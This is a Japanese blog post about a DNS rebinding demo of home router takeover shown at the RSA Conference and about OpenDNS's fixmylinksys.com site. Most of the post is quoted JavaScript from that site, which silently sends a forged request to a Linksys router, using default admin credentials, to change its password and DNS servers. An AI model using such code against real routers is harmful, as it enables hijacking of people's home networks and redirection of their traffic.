FixMyLinksys!! -- DNS Rebinding攻撃によるホームルーターの乗っ取り

RSA Conference: Web Page Can Take Over Your Router | PCWorld
Demo shows how web attack threatens fabric of the universe • The Register


RSA ConferenceのセッションDan KaminksyさんDNS Rebindingによるホームルーター攻撃のデモをやったらしい。


また、OpenDNSが実際にこのテクニックを使ったデモサイトを立ち上げているのがちょっとおもしろい。


Linksysルーターの設定がデフォルトの場合(admin:admin)、このサイトのフォームに新しいパスワードを入力して "Fix My Linksys"ボタンを押すと、あら不思議、おうちのルーターの設定が見事に変更されている、というもの。


www.fixmylinksys.comのページにある Javascriptの中身はこんな感じ。

function launchlinksys(routerip, currentuser, currentpass, newpass, dns) {
	if($('newpass').value.length == 0) {
		alert('Please enter a password');
		return;
	}
	if($('newpass').value.length < 4) {
		alert('Please enter a longer password');
		return false;
	}
	if($('newpassconfirm').value.length == 0) {
		alert('Please confirm your password');
		return false;
	}
	if($('newpass').value != $('newpassconfirm').value) {
		alert('Passwords do not match');
		return false;
	}
	$('fixbutton').disabled = true;

	var routerip = $('routerip').value;
	var currentuser = 'admin';
	var currentpass = $('currentpass').value;
	var newpass = $('newpass').value;
	var dns = $('dns').checked;
	if(dns == true) {
		var params = {
			'submit_button': 'index',
			'change_action': '',
			'submit_type': '',
			'action': 'Apply',
			'wan_dns': '4',
			'need_reboot': '0',
			'wait_time': '9999',
			'PasswdModify': '1',
			'http_passwd': newpass,
			'http_passwdConfirm': newpass,
			'wan_dns0_0': '208',
			'wan_dns0_1': '67',
			'wan_dns0_2': '222',
			'wan_dns0_3': '222',

			'wan_dns1_0': '208',
			'wan_dns1_1': '67',
			'wan_dns1_2': '220',
			'wan_dns1_3': '220',

			'wan_dns2_0': '208',
			'wan_dns2_1': '67',
			'wan_dns2_2': '222',
			'wan_dns2_3': '222'
		}
	} else {
		var params = {
			'submit_button': 'index',
			'change_action': '',
			'submit_type': '',
			'action': 'Apply',
			'wan_dns': '4',
			'need_reboot': '0',
			'wait_time': '9999',
			'PasswdModify': '1',
			'http_passwd': newpass,
			'http_passwdConfirm': newpass
		}
	};
	params = Object.toQueryString(params);
	var url='http://' + currentuser + ':' + currentpass + '@' + routerip + '/apply.cgi?' + params;
	var submitchanges = new Image();
	submitchanges.src = url;
	$('usingdefault').innerHTML = '';
	setTimeout('$(\'done\').style.display = \'block\';', 1000);
	setTimeout('linksysdone(\'' + routerip + '\', \'' + newpass + '\');', 5000);
}

"Enable OpenDNS"もチェックしておくと、ご丁寧にDNSサーバのアドレスも書き換えてくれる。これは便利だ!?


Technorati: